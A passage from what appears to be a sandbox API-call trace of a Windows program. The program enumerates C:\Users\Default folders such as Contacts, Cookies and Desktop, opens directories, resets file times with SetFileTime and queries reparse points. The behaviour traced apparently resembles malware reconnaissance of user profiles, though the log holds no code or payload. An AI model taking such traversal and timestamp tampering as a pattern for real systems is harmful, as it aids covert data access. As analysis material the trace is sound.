ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0092.869] GetLastError () returned 0x12 [0092.869] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0092.869] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0092.869] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="")) returned 1 [0092.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Application Data" (normalized: "c:\\users\\default\\application data"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.870] CreateFileW (lpFileName="C:\\Users\\Default\\Application Data" (normalized: "c:\\users\\default\\application data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.870] GetLastError () returned 0x5 [0092.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.871] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.871] GetLastError () returned 0x5 [0092.871] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.871] GetLastError () returned 0x5 [0092.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.872] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0092.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Contacts" (normalized: "c:\\users\\default\\contacts"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.873] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts" (normalized: "c:\\users\\default\\contacts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0092.873] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.873] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.874] NtClose (Handle=0x164) returned 0x0 [0092.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.875] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.875] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.875] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="")) returned 1 [0092.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9578 [0092.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcfb0 [0092.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.877] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9598 [0092.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd038 [0092.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.879] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.879] GetLastError () returned 0x12 [0092.879] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.879] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0092.879] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.879] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="")) returned 1 [0092.879] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.880] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.880] GetLastError () returned 0x12 [0092.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.880] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0092.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Cookies" (normalized: "c:\\users\\default\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.881] CreateFileW (lpFileName="C:\\Users\\Default\\Cookies" (normalized: "c:\\users\\default\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.881] GetLastError () returned 0x5 [0092.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.882] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.882] GetLastError () returned 0x5 [0092.882] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Cookies\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.882] GetLastError () returned 0x5 [0092.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0092.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0092.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.883] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Desktop" (normalized: "c:\\users\\default\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.884] CreateFileW (lpFileName="C:\\Users\\Default\\Desktop" (normalized: "c:\\users\\default\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.884] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.884] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.885] NtClose (Handle=0x184) returned 0x0 [0092.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0092.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0092.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0092.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.886] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.886] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.886] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f95b8 [0092.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd0c0 [0092.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.888] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0092.888] GetLastError () returned 0x12 [0092.888] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0092.888] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.888] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, 